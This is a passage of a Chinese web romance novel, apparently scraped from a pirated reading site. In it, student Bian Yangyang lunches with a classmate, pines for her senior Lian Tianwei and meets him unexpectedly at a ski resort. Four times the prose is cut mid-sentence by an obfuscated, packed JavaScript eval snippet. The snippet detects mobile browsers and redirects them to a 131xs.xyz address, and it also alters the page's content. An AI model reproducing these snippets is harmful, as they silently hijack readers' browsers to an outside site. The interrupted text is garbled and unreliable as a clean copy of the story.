刚过零点，边洋洋就收到了狄沛泽的短信，内容一看就是定时群发的祝福。但，她还是礼貌回了句圣诞快乐。 没想到狄沛泽又回复了她，问她什么时候跟他约饭。 他俩从拿到offer后就相约一起吃饭，眼看都快过一个月了，至今还没约上。 边洋洋导师去国外跟家人团聚了，课题组算是默认放了假。择日不如撞日，趁今晚心情好，她回复道：明天？ 狄沛泽说好，让她选地方，说自己不挑食都可以。 边洋洋最近把手头的余钱投入了股市，她买的股票行情不错，暂时没打算卖掉，手头就有些紧张了。她不好意思开口跟家里要，挑来挑去选了性价比不错的吧台小火锅。 回到宿舍时，已经过了平常的门禁时间，但宿管人不错，知道今天日子特殊，默默地往后延了一个小时。 吕欢和方心意已经坐在床上玩游戏了，见边洋洋回来，方心意八卦道：“洋洋是不是瞒着我们交男朋友了？” 边洋洋一向是个遵守纪律的乖孩子，今天晚归，实在不寻常。 “去哪里浪了？”吕欢也跟着追问，“吉他怎么没了？” 边洋洋挺宝贝自己吉他的，每次去清吧兼职完都要扛回来。 “没男朋友。去清吧兼职了啊，今晚不是搞活动嘛，特别忙，就弄到现在了，太累了，就把吉他先放在那里了。”边洋洋说。 她对室友们撒了个善意的谎言，有理有据，合情合理，两人便不再怀疑，继续玩游戏去了。 刚脱下沾了雪的羽绒服，边洋洋就收到了练天维的消息，问她到宿舍了没有，有没有被宿管拦在外面不让进。 边洋洋本想如实回答，却突然灵光一闪耍了个小心机。 洋洋得意：【大哭】【大哭】被拦在外面了，雪越下越大了，好冷！ 练天维：啊，跟宿管求求情？一般都能通融的。 洋洋得意：求了……没用【可怜】 练天维：不好意思啊，都怪我在书店耽误了时间。 边洋洋正想回复，就见练天维发了个500块的转账给她。 练天维：拿去住酒店吧。 小心机失败了。都这样装可怜了，练天维竟然都没邀请她去自己住的地方，宁可花钱。 边洋洋叹气，故意拖了十分钟才回复，说自己死皮赖脸跟宿管卖惨，这会儿已经进宿舍了。 练天维：那就好，晚安。 洋洋得意：晚安～ 雪下了一夜，后半夜突然发力，大片大片雪花铺天盖地地落下，翌日的北城变得银装素裹。 睡到自然醒的边洋洋，起床第一件事就是拉开宿舍窗帘，只见窗外的树干都覆着一层厚厚的白雪，路面屋顶也都是白茫茫的。 “哇！”吕欢和方心意还在睡，边洋洋捂住嘴，重新拉好了窗帘。她轻手轻脚地洗漱，换好衣服带上相机出了门。 校园被白雪覆盖，边洋洋觉得这是一年当中最美的时候。她一路走一路选景拍摄，最终目的地是学校的湖边。每次下雪，都会有人在湖边堆雪人，而边洋洋则会去挑选喜欢的合影留恋。 临近中午的时候，边洋洋换了新头像，是她和一个戴着草帽的憨憨雪人的合影。 狄沛泽开着他的宝马在A大西门接到了边洋洋，吸引了不少路人的目光。 边洋洋快速拉开车门坐进了后排，刚系好安全带，就听狄沛泽道：“新头像不错。” “谢谢，我也觉得。”她挑的雪人可是全场人气最高的。 车子启动，朝吧台小火锅开去。 狄沛泽又问：“你明年出国，男朋友一起吗？” “哈？”边洋洋一时没反应过来，“我没男朋友啊。” 狄沛泽笑了笑，用十分惊讶的语气说道：“你这么漂亮的女孩子竟然没有男朋友？” 边洋洋反问他：“我觉得你条件也不错啊，那你有女朋友吗？” “高中的时候谈过一个，大学的时候分了，后来就一直没谈了。” “哦。” 狄沛泽打趣道：“你怎么不继续问我为什么跟她分手。” “嗨，哪有明知是你伤心事还揭你伤疤的道理。” “过去那么多年了，现在想起来只是一段回忆，并不伤心。我们俩大学异地，一南一北，坚持了一年就和平分手了，分手没多久她就找了新男友。 “我们现在是关系不错的朋友，她跟她男友一吵架就来找我吐槽。” “那你们还挺特别的哈。如果是我的话，分手后绝对不会做朋友，老死不相往来。” 边洋洋不想聊感情问题，赶紧换了个话题，“你都工作了，怎么还想着申请这个研究生项目啊？” “工作不如意呗，就想回炉再造一下。”狄沛泽说，“等你以后工作了就会明白，大部分人都被迫做着自己并不喜欢的工作。” “那你现在做的什么工作？环境相关的吗？” “嗯，算是吧，在自来水厂做水质分析员，挺无聊的，活儿少钱少。” 虽然跟狄沛泽才第二次见面，但从他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317145|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的言行来看，边洋洋很难把他跟实验室工作人员联系在一起，总觉得他不像是能做那种细心活儿的人。 “那你的生财之道是什么？” 狄沛泽哈哈笑，“你说话可真直接，你这性格我喜欢。其实就是上班摸鱼炒股，运气比较好，赚了一点小钱。” 原来还是同道中人。 找到了共同话题，两个人一起吃吧台小火锅气氛就很不错，互相分享了买股心得。聊到兴起，狄沛泽还给边洋洋看了自己的账户金额。 整个吃饭的过程狄沛泽都很照顾边洋洋，吃东西也确实不挑，边洋洋本着均衡营养点的涮菜他都有吃，看不出偏好。 边洋洋暗戳戳地想，这样的人可真好养活。 吃完饭，狄沛泽先行离开去取车，边洋洋去收银台结账，却被告知已经付过了。他想起狄沛泽中途去了趟卫生间，大概就是那时去偷偷把帐给结了。 俩人之前说好的是aa，她问了总金额，便转了一半给狄沛泽。 上车后，边洋洋提醒他，“快把钱收了。” “害，这里这么便宜，我请客呗，以后课程上你多帮帮我就行。” 边洋洋没再坚持了，心想以后还要当两年同学，有机会再回请就好了。 “那就多谢了，咱互帮互助。” 边洋洋毕业论文的实验已经做完，跟狄沛泽告别后就待在宿舍分析数据。 不过她今天老走神，昨天跟练天维的相处太愉快了，她想让两人的关系更进一步。大概是定下毕业去向后没压力，做完实验又闲出屁了，她的心思就格外活泛，满脑子都在幻想跟练天维的恋爱日常。 然而，幻想对象今天一条消息都没给她发。 任重而道远啊…… 山不来就我，我就去就山。机会不是天上掉下来的，要自己主动去创造。 边洋洋打开跟练天维的聊天框，开始打字。 洋洋得意：学长今天来学校了吗？ 发完这句，边洋洋又发了几张学校的雪景照片过去。 等了几分钟，练天维没有回复。边洋洋内心有点焦躁，继续发消息。 洋洋得意：昨晚的邀约，学长考虑得怎么样了？ 边洋洋在网上搜了下吕欢家附近的游记，选了一篇点赞最多的发给了他。 洋洋得意：那里很不错的！ 练天维不回复，边洋洋哪还有心思分析数据，找了首写暗恋的歌来听，越听越心酸。 大约一个小时后，练天维回复了，边洋洋一下来了精神，哪儿还有半点刚才的颓废。 练天维：不好意思，刚有点事在忙。暂时还不能确定元旦是否有空，你们自己安排就好，先别算上我。 练天维：照片拍得不错，头像挺好看。 19. 第 19 章 陶然踩着拖鞋从卧室里走了出来，他穿着一身浅蓝色睡衣，头发有些凌乱。 “有吃的吗？” 他走到饮水机旁给自己接了杯热水，扭头瞥了眼练天维的电脑屏幕，屏幕正中是个扣扣聊天框，背景是各种代码。 练天维自顾自打字，“没，点外卖或者出去吃，你自己选。” 陶然边喝水边打开手机看消息，昨晚凌晨三点多才回来，加上喝了不少酒，一直睡到现在才起。这会儿都下午四点多了。 “今天过节哎，我看有没有人约我吃饭。” 巧了，可爱学妹也在扣扣上问他有没有人约他一起吃饭，练天维嘴角轻轻上扬，问陶然：“有吗？” 半晌后，才听到陶然不可思议的声音，“靠！靠！赵静竟然要跟我分手！就因为我昨天没陪她过平安夜。” 练天维漫不经心道：“哦，我还以为你们早就分了呢。” 陶然在练天维对面坐下，“你好歹稍微表现得惊讶一点啊，我被分手了哎，你不安慰一下？” 说完，他淡定地在手机上回复赵静，“好，祝你幸福。”然后发现消息发不出去，聊天界面出现了红色感叹号。 “新女友是谁？”练天维在电脑上回复边洋洋，说跟合租室友一起吃饭。 陶然气笑了，“在你心里，我就不配失恋伤心了？” “从高中到现在，你前女友没有一百也有好几十了吧，你伤心过？”练天维虽然不理解陶然换女朋友比换衣服还勤的作风，但不妨碍陶然是他最好的朋友。 在感情方面，他和陶然就是两个极端。 “那当然，不过一般人看不出来。”陶然懒散地回答。 练天维不置可否，“行吧，那我请你吃外卖，羊蝎子那家？” “好啊，我要特大份，化伤心为食欲。”陶然撕开一包薯片，“元旦要回阳城给阿姨过生日吗？” 练天维妈妈的生日就在元旦，他每年都会跟她一起过。 “不回。她刚跟我说元旦后在A大有个会议，说要提前过来。” “那太好了，阿姨来了我们就有口福了。” 练天维在手机上点了四人份的羊蝎子，一份羊肉饺子和两瓶沙棘汁。成功下单后，他问陶然，“诶你说，我元旦带她去郊区农家乐泡温泉怎么样？” 陶然边吃薯片边点头，丝毫看不出失恋有带给他伤心，“可以啊，我跟你们一起去呗，人多热闹。” “你不陪你女朋友吗？” “我觉得你在讽刺我，但我没证据。”陶然下巴一抬，“元旦假期我还偏就赖上你们了，你们去哪儿我去哪儿。” 练天维“嗯”了一声，转手就把边洋洋发给他的游记转发给了陶然，“看看我给你发的，你觉得怎么样？” 陶然点开看了看，“就普通的农家乐吧，优势大概就是有天然温泉还可以住宿，阿姨要是想滑雪的话，那儿离户外滑雪场也不远，还提供接送，不错不错，我看可以。” “那就这么定了，我们就去那儿。” “你不问问阿姨的意见？她要是更想在家给我们做饭吃呢。” 也不是不可能。练天维又把游记转给了他妈，把刚才陶然的点评美化一番后发给了他妈。 元旦假期前的这几天，吕欢每天都往东边的郊区跑，早出晚归，回来时顶着一副生无可恋的面瘫脸。 大四伊始选毕业课题的时候，吕欢考虑到自己要花时间找工作，就选了不用在实验室做实验的河流生态修复。他导师是著名的生态修复专家也是水利专家，给学生发劳务费很大方，也不需要天天打卡按时报到，就一个要求，随叫随到。 前几个月，他导师忙着手头一个快结题的课题，没顾上本科生，就安排了一个博士指导吕欢做好开题报告。其他同学忙着在实验室做实验的时候，她看看文献资料就行了，每月还能按时收到劳务费，别人都羡慕得不行。 然而，出来混总是要还的。 到了12月，气温长期零下，谁没事儿都不想离开有暖气的屋子。 吕欢导师的课题顺利结束，想起来还带了个本科生。导师心血来潮，想亲自指点一番。于是给她派了一堆活儿，其中一项就是去郊区一条正在进行生态修复工程的河流考察。这个项目有她导师参与设计，让她去现场看看具体的执行情况以及找找存在的问题。 “你还要去几次啊？”边洋洋同情地递给她一杯热水，“抱着暖暖手。” “今天总算是最后一次了，但是导师让我放假前写个报告给他。” “那我们还是按照原计划新年第一天出发呗。”边洋洋一直没有等到练天维的答复，便没跟吕欢提她邀请过练天维那事儿。 吕欢想想自己这些天在现场的记录和拍的照片，“只能这样了。对了，我妈说今年生意不错，原本给你俩留的单人间临时被人订了，到时候我们仨住我屋，我屋挺大的，成吗？” 方心意和边洋洋都表示没问题，本来在宿舍都是住一屋的。断没有去人家里做客还提要求的道理，自然是主人怎么安排怎么来。 方心意：“晚上我们可以斗地主，斗一块钱的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317146|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边洋洋：“那你准备好钱，到时候不许赖账啊。” 方心意：“嘿，明天就发工资了，姐姐我有的是钱。” 吕欢喝了口热水，在室内待了有一会儿，脸终于恢复了自然，“跟我斗地主，你们这不是上赶着给我送住宿费吗。” 方心意：“反正输赢我们都不亏。” 本年底的最后一天，边洋洋终于等来了练天维的答复。他说他有安排了，不跟她们一起过去。 希望落空，边洋洋心里难过又纠结。难过的点不只在于这次没能约到练天维，还在于她想不到办法把人成功约出来。她没追过人，在这方面没什么经验，这些天积极地在网上抱佛脚。让她纠结的是，在没搞清楚练天维的心意前，是否要厚着脸皮把学到的理论知识用在他身上。 如果练天维已经有喜欢的人，边洋洋就算再喜欢也是绝对不会去招惹的。偏偏留给边洋洋的时间又不多了，再过半年她就要奔赴国外，没有足够的时间供她慢慢试探。 自打在求职交流会再次见到练天维后，边洋洋一闲下来就会想他。见不到人只能见缝插针地聊扣扣，有时练天维秒回，有时几个小时后才回。 两人聊天的内容越来越丰富，跟找工作相关的话题已经完成它的使命光荣地退出了舞台。 边洋洋一般是会话的发起者，练天维则会配合。有时是生活小事，有时是学业相关，有时是网上看到的搞笑段子。 譬如，练天维夸她头像好看，她就说拍的时候被风吹傻了，鼻子耳朵都冻红了，练天维就叮嘱她注意保暖不要感冒了，她能为这句文字的关心乐一整天。 他们在网上聊天很多，却唯独不涉及情感问题，一来关系没到那份儿上，二来边洋洋对练天维心思不纯，说什么都显得刻意。 “行李都收好了吗？”吕欢终于写完了报告，按下发送后问边洋洋和方心意。 “好了。”方心意爽快地答道。 “洋洋呢？”吕欢起身去洗漱，见边洋洋坐在电脑前发呆。 “啊，什么？”边洋洋一脸茫然。 “你咋啦，问你行李收好了没，明儿一大早咱就出发。” “收好了。” 想来想去一片混沌。遇事不决拖字诀，边洋洋决定先走一步看一步，见机行事。她可不想冒冒失失把人给吓跑了，毕竟练天维是这么些年来第一个让她心动的人。别人的理论和实践，到底还是不适合自己，感情的事，终归是急不来的。 宿舍的灯光猝然熄灭，边洋洋在黑暗中睁眼叹气，原来暗恋的滋味真是甜蜜又苦涩啊。 20. 第 20 章 新年第一天，是个晴朗的日子。尽管气温零下，但太阳照在身上暖融融的。 吕欢回自己家不用带什么东西，就背了个空空的双肩包。边洋洋和方心意共用了一个20寸的箱子，由边洋洋拉着。箱子上放着一个红色的礼盒，是边洋洋前两天趁吕欢不在的时候偷偷准备的，去人家里白吃白住，空着手她不好意思。 方心意则拎着一床包装精美的羽绒被，是她公司发给员工的新年礼物，她说自己用不上，放在宿舍占地方，非要拿去吕欢家。 吕欢看着这俩人大包小包的，就很无奈，“你俩这么客气，真够没劲的，回头我妈又该说我了。” 方心意：“这又不是什么贵重东西，更何况我一分钱没花，我只是不想浪费。” 边洋洋脸不红心不跳地撒谎，“我这也没花钱，周老板送的。咱年纪轻轻，还用不上这些保健品，正好拿去给叔叔阿姨，我也不想浪费。毕竟我们是环境学院的，要以身作则不是。” “对对，”方心意附和，“别磨蹭了，赶紧的，免得错过了第一班车。” 上次去吕欢家是大二暑假，在山里实习结束后去的。山上饮食简单，大部分时候都是在吃馒头和泡面，半个月下来，全班同学都瘦了。 实习期间方心意和边洋洋帮了吕欢不少忙，所以她邀请两人去她家里吃好吃的。那会儿是吕爸爸开车来接她们过去的。 元旦小长假，城里人去周边游的不少，连带着农家乐的生意也好了起来。吕爸爸忙着接送客人，这次就没空来接她们了，让她们自己打车过去，他给报销车费。 从A大打车到吕欢家，跨了好几个区，得大几百块钱。方心意提议坐巴士过去，把这钱拿去吃肉。 每到冬季，郊区的滑雪场就会开通几条巴士专线方便市民前往滑雪。其中一条会经过A大并且在其正门附近设了个站点。专线巴士会经过吕欢家，在她家附近刚好也有个站点。 边洋洋和吕欢都没意见，反正不赶时间，坐巴士也不错。 郊区气温比市区低好几度，而且山里风大。三人穿的是最厚的羽绒服，手上戴着厚厚的手套，脖子上还围着围巾。她们运气不错，刚到站点，就赶上了当天第一辆开往滑雪场的专线巴士。可能冬天的周末人们不愿意早起，巴士上人不多，三人放好行李并排坐在了最后一排。 巴士里很安静，大概是起得太早还有些困顿，加上车里暖气充足，售票员阿姨坐在离司机最近的位置上打盹儿，其他乘客也都昏昏欲睡。 三人不好意思讲话扰人清梦，各自玩起了手机。 边洋洋习惯性地点开了练天维的扣扣空间，依旧空空如也。他现在在干嘛呢？跟什么人在一起呢？ 退出空间，点进练天维的聊天框。对话停留在昨晚12点两人互发的“新年快乐”表情包。 打打删删，最后还是一个字都没发出去。 边洋洋退出扣扣，点进了一个加密相册。里面全是边洋洋从论坛帖子里下载的练天维的照片，她一张张看完，心里的烦躁竟奇迹般地抚平了。 不知何时，三人都闭上了双眼。年轻的身体睡眠好，巴士一路摇摇晃晃也睡得香，到站了三人都没醒，还是被售票员给叫醒的。 “小姑娘们，起床了上课了！” 坐在窗边的边洋洋噌一下站了起来，头顶撞到了座椅上方的行李架，疼痛让她头脑瞬间清醒。 “哎哟喂，”她捂着脑袋乱揉一通，“阿姨您干嘛吓我啊……” 吕欢和方心意被这动静弄醒了，紧张道：“你没事儿吧？” 售票员阿姨嗓门儿大，大概是嫌这工作起早贪黑工资还低，颇有些不耐烦，“赶紧下车，别磨蹭，就剩你们仨了。” 三人讪讪地拿好行李下了车。 “这都什么态度啊！”边洋洋一只手还按在脑袋上，“欢子，你帮我看看是不是肿了？” 吕欢扒拉开边洋洋浓密的黑发仔细瞅了瞅，“有点红了，没肿。我家有跌打损伤油，到家了给你抹点儿。” 边洋洋放心了，“没肿就算了吧，不影响智商就行，那玩意儿味道太大了。” 环顾一圈儿，吕欢才反应过来，“坏了，咱坐到终点站了，这里是滑雪场。” 跟她们一样全副武装的游客三三两两往入场口走去，边洋洋提议，“来都来了，要不干脆滑完雪再去你家？” 边洋洋提前预定了滑雪场的门票三张，元旦假期内都有效。 吕欢想了想，“也行吧，我给我爸打个电话，让他帮我们把东西先带回去。” “可以。” 于是，原定明天的滑雪行程就临时改成了今天。 吕爸爸正好送了一波客人过来，把她们的行李放到了车子的后备箱，离开前叮嘱她们，“一定要注意安全，不许逞能啊。就老老实实待在初级滑雪道。” “谢谢叔叔。” “知道了。” 吕爸爸想了想，又把车上储物箱里的创口贴和驱风油拿给了吕欢。 “您把这些给我干嘛？”吕欢不是很想要。 “万一滑雪的时候摔倒受伤了呢，有备无患。”吕爸爸再次强调，“一定要注意安全啊。” 吕欢把东西收进双肩包里，冲她爸挥手告别，“知道了，我都来多少次了，你放心吧，会看好她俩的。” 边洋洋：“叔叔您忙去吧。” 方心意：“是啊，我们会注意的。” 边洋洋买的票是套票，除了当天不限时滑雪和一小时教练指导外，还包含滑雪服、滑雪工具和一顿简餐。 穿好滑雪服领了滑雪工具，问过她们中有两人是初学者后，滑雪场分配给他们的教练就把她们带到了初级滑雪道下面的平地。 看到湛蓝天空下满山坡白茫茫一片，边洋洋兴奋极了，摘下滑雪手套拿起手机拍了好多风景照，还让方心意帮她拍了一张以雪坡为背景的照片。 “发型太搞笑了吧。”边洋洋看方心意给她拍的照片笑得不行，“这里风太大了，头发都飞起来了，怎么都压不住。” 吕欢都记不清自己是第几次来这个滑雪场了，不过跟室友们还是第一次来，她凑过去看了看，“我觉得挺可爱的啊。” 方心意：“我也觉得。” “哈哈哈哈，欢子你是认真的吗？”边洋洋怀疑她们睁眼说瞎话，想让她们跟她一起出丑，便提议，“挺好玩儿的，我们仨拍张合照留个纪念吧。” 教练主动帮忙，“我给你们拍吧。” “谢谢。” 三人并肩站好，还没来得及勾肩搭背什么的，就听教练道：“拍好了。” 教练把手机递还给边洋洋，边洋洋一脸懵逼，“啊，我们还没准备好表情呢。” 教练笑道：“没准备好才是最自然的。再说了，这么大风，你准备好了脸也得被吹歪。” 好有道理的样子，竟然无法反驳。 “咱们时间有限，现在就开始，先学如何摔倒。” 近水楼台，吕欢从小就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317147|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑雪，以前一放寒假就会来这个滑雪场滑高级滑雪道，她完全可以不用跟着教练的。但她不放心边洋洋和方心意这俩新手，也不确定教练是否能在一个小时内把人教会。 教练给他们演示了正确的摔倒动作，然后耐心地指导边洋洋和方心意学习在平地上交替滑行。边洋洋老说自己运动细胞不发达，但其实协调性还行，摔了几次之后很快就学会了。在平地上练习了几圈，边洋洋觉得自己已经完全掌握了各中技巧，滑雪板就像她身体的一部分，运动自如。 教练夸她有悟性。吕欢也夸她学得快。 “教练，我可以去初级滑雪道上试试吗？”初学者玩儿的滑雪道坡度很小，边洋洋觉得自己应该没问题。 教练示意她看方心意，“再练会儿，等她练到跟你一样了，带你们一起去。” 十分钟后，教练带着三人去了初级滑雪道。 “教练，你给我们表演一下呗。”边洋洋看了高级赛道那些人飞速掠下的画面，羡慕得不行。 教练是个年轻小伙儿，看着跟她们年纪差不多，“等你们顺利从这个坡上滑下来再说吧。” 边洋洋仰头看坡上的人往下滑，“那小孩儿都滑得下来，我肯定没问题。” “呵呵。”教练不置可否，带着三人到了坡顶。 “刚才教你们的摔倒姿势还记得吗？” 边洋洋和方心意举着滑雪杆发言，“已经熟得不能再熟了。” “往下滑的时候速度会越来越快，注意控制速度避开旁人，千万不要跟人发生碰撞。这会儿人还不算多，先带你们练习在这小坡道上转弯。” 他们在平地上也练习了转弯，换到坡道上转得还算顺利，教练带着她们上下几次都没摔。尽管如此，吕欢还是跟在她们旁边保驾护航。 一个小时的教练时间很快结束了。 教练离开前叮嘱边洋洋和方心意，“你俩只能在初级滑雪道啊，注意安全。” 边洋洋还惦记着让教练表演的事儿，“教练，你去高级滑雪道给我们展示一下你的英姿呗，肯定特别帅。” 教练挥手离开，“还有客人等着我呢。建议你回家打开体育频道看专业运动员的风采。” “可我想看现场版的哎。”边洋洋略显失望地说道。 吕欢滑到她身边，“想看现场版找我啊，你这叫舍近求远，我跟你说，我的技术不比这教练差。” 方心意拄着滑雪杆，不客气地拆台，“你就一业余爱好者，教练可是专业人士，能有可比性吗。” 这话成功激起了吕欢的胜负欲，“那我还偏要去高级滑雪道滑给你看看，让你这个菜鸡心服口服。” 边洋洋眼睛一亮，率先踩着滑雪板往高级滑雪道的方向移动了，“走走走，我要看欢子表演。” 边洋洋和方心意找了个绝佳的观看位置，看着吕欢上到顶端，停顿了一会儿，然后快速俯冲下来。 滑到雪道中部时，方心意惊呼，“卧槽，欢子旁边怎么忽然冒出来一个人，那人也太快了吧！！” 边洋洋也注意到了，原本她的目光都在吕欢身上，这人横空出世闯入她眼帘。滑雪镜遮住了那人脸的上半部分，矫健的身姿、流畅自如的动作抓人眼球，让穿着厚厚滑雪服的他如此与众不同。 属于吕欢的光瞬间黯淡了下去。那人成了全场最靓的仔。 边洋洋看得入迷，瞬间倒戈，尖叫着为那靓仔呐喊。 很快地，那人一个漂亮的收势滑到了她面前。 21. 第 21 章 “好看吗？” 山风裹挟着熟悉的悦耳的声音传入了边洋洋的耳朵，厚厚滑雪服下的心脏扑通扑通狠狠跳了起来。 “好看！”边洋洋下意识地回答。 练天维缓缓摘下滑雪镜，微笑着看向边洋洋，那笑如春风拂面，刹那间驱散了冬日严寒。 正愣神的时候，吕欢也停在了他们面前，“这位兄——” 待看清练天维的面貌后，吕欢火速改口，“是练学长啊！难怪这么厉害！心服口服，嘿嘿。” 方心意一下悟了，原来这位帅哥就是两位室友时常在宿舍提起的帮过她们的牛人。 练天维的目光从边洋洋身上移开，看向吕欢，“你就是洋洋的室友吕欢吧？” “是啊是啊，就是我，没想到今天这么巧，能在这儿碰上学长。”吕欢挺开心的，“我一直想当面感谢学长的，今天可算让我逮着机会了，我家就在这附近，学长跟我们一起去我家吃饭吧。” “我们有在这附近订住宿，说不定很快会再见。”练天维说这话的时候，又看向了边洋洋。 我们！？学长跟谁们？还一起住！！边洋洋心里泛起了酸，毫不讲理毫无立场地泛酸。 吕欢本想说自己家也有住宿，随即想到今晚房已订满，及时换了话题，“这附近我熟，到时候送你们过去啊。” “谢谢，不过不用了，我们自己开车了。” 边洋洋觉得吕欢今天格外话多，而且说的都不是重点，她急忙插嘴，“学长，你跟谁一起来的啊？怎么没看到你的同伴？” 边洋洋假装环顾四周，都是穿着厚厚滑雪服的人，只能看出高矮。 “跟我朋友和我妈，他们在初级滑雪道。” 原来是陪妈妈来玩儿，那确实是比我重要，边洋洋一下就不酸了。 诶，不对，还有朋友！！一个可以跟学长一起见他妈和他妈一起玩的朋友，这朋友得是多亲近的朋友啊喂！ 边洋洋又酸了，假装开玩笑道：“是学长的女朋友么？” 看过边洋洋的真笑，练天维一下就辨别出边洋洋现在脸上的笑是假笑，不知怎么的，竟也觉得她这样子可爱。 “不是，”练天维忽然就想逗一下边洋洋，“是男朋友。” ！！！ 这下，在场的三人都震惊了。吕欢张大了嘴巴又闭上，方心意则是努力闭紧嘴巴睁大了双眼，他俩的关注点是，处处优秀的学长，多少女生的梦中情人，竟然是gay！！ 而边洋洋，关注的则是，她没机会了，暗恋夭折了……心碎了一地，脸上的假笑瞬间消失，随风飘走。 练天维只把边洋洋的表现尽收眼底，他轻笑一声，“不好意思啊，口误，男性朋友。” “啊——”吕欢和方心意对视一眼，尴尬笑笑，“没事没事。” 这解释并没有帮边洋洋把心给拼好，无意识说出的话往往才是真相，找补的话才是欲盖弥彰。 边洋洋还沉浸在自己单方面失恋的悲伤里，气氛一时有些凝滞，只有呼呼的山风刮过。 “我再去给你们表演一次，刚才没有展示出我真正的实力。”吕欢莫名觉得现在气氛有点怪，想要逃离。 方心意捧场道：“好啊，正好刚才忘记给你拍视频了，我换个视角好的地儿给你拍。” 边洋洋觉得自己现在这样挺没劲的，难得大家一起出来玩儿，应该高高兴兴的。就算伤心难过，也要强颜欢笑不扫别人的兴才对。 “心意，我跟你一起。”她艰难地挤出一个笑，对练天维挥手再见，“学长，你慢慢玩儿，我们先走了。” “好。”练天维第一次在人际交往上产生了一点挫败感，边洋洋的表现跟他预期的不一样啊，不是应该从假笑变真笑，开心得像个小太阳一样么，怎么好像还更难过了呢。 小学妹对他的心思，难道他猜错了？若是真猜错了，也挺好的，异国恋是没有好结果的。 方心意还真找了个不错的位置帮吕欢拍起了视频，“欢子这一次的姿势和速度比刚才好。” 边洋洋漫不经心地“嗯”了一声，看吕欢的同时，还是忍不住分了神去搜寻练天维的身影。她觉得自己大概是魔怔了，竟然能轻易在雪坡上的众多身影里一下找到练天维。 既然是她得不到的男人，看一眼就少一眼了，那不如就，趁还能看的时候尽情看吧。 这么想着，她也拿出了手机，对准练天维，记录了他滑雪的英姿。练天维一次又一次地从高处掠下，边洋洋就一直静静看着。 方心意看了几次吕欢的表演就腻了，“我要去初级滑雪道玩儿了，你要去吗？” 边洋洋：“我再看会儿，你去吧。” 直到午饭前，边洋洋都没回过初级滑雪道。围观练天维的人越来越多，有人甚至在打探他是不是哪一位教练，说想要跟他学习。 喜欢的人如此优秀，可惜自己没有机会了，真的好可惜。 吕欢玩儿得有点累了，肚子也饿了，她滑到边洋洋面前，不打算再玩儿了。 “洋洋，你眼睛怎么红了？” “被风吹的。” “哦，风是有点大。我们去吃点儿东西吧。” 边洋洋朝雪坡看了一眼，心里有点不舍，“好。” 她们先去了初级滑雪道找方心意，然后再去滑雪场餐厅吃简餐。餐是真的简，吃是其次，主要是供游客们中途休息。 吕欢浑身出了汗，吃饭前去更衣室简单冲了个澡。她一身清爽来到餐厅就看见边洋洋对着手机发呆，吃的喝的都没拿。 “看什么呢？”吕欢端了三杯热牛奶走到边洋洋对面坐下，把其中一杯放到了她面前。 “看你滑雪的视频呢，帅我一脸！”边洋洋摁灭了屏幕，端起牛奶喝了一大口。 吕欢尾巴立马翘起来了，“那是，我可是从小学就开始来这儿滑雪。那时候这里还不是正规滑雪场呢。” “厉害。”边洋洋对她竖起了大拇指。 “你也不错啊。下午陪你在初级滑雪道玩儿。” 一杯牛奶喝完了，“初级滑雪道对你来说会很无聊吧，没事儿，你不用管我的。”边洋洋说着说着觉出饿了，“你想吃什么？有炒饭和炒面，我帮你拿。” 吕欢已经率先起身，“我们一起去吧。” “不行，现在是高峰期，三人位不多，得留个人占座。” 就在这时，方心意端着食盘过来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317148|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“你俩现在可以去拿了。” 边洋洋盛了一盘子炒面，夹了些泡菜，又拿了一瓶椰汁。吕欢则盛了一盘炒饭，夹了一块腐乳，拿了一杯酸奶。 简单吃完，吕欢说：“刚吃完不宜运动，休息半小时我们再过去。” 边洋洋其实已经没有什么玩儿的心情了，她试探着问道：“你们下午还想滑吗？讲真话。” 吕欢：“我是地主，看你们咯，我都可以。” 方心意正在游戏里厮杀，头也没抬，“讲真，平时上班怪累的，我现在就想躺在欢子家的大床上玩几把游戏。” “那正好，我也不想玩儿了，现在就去欢子家吧，我们在这儿占着座位怪不好意思的。” 说走就走，三人取了储物柜里的私人物品就离开了滑雪场。 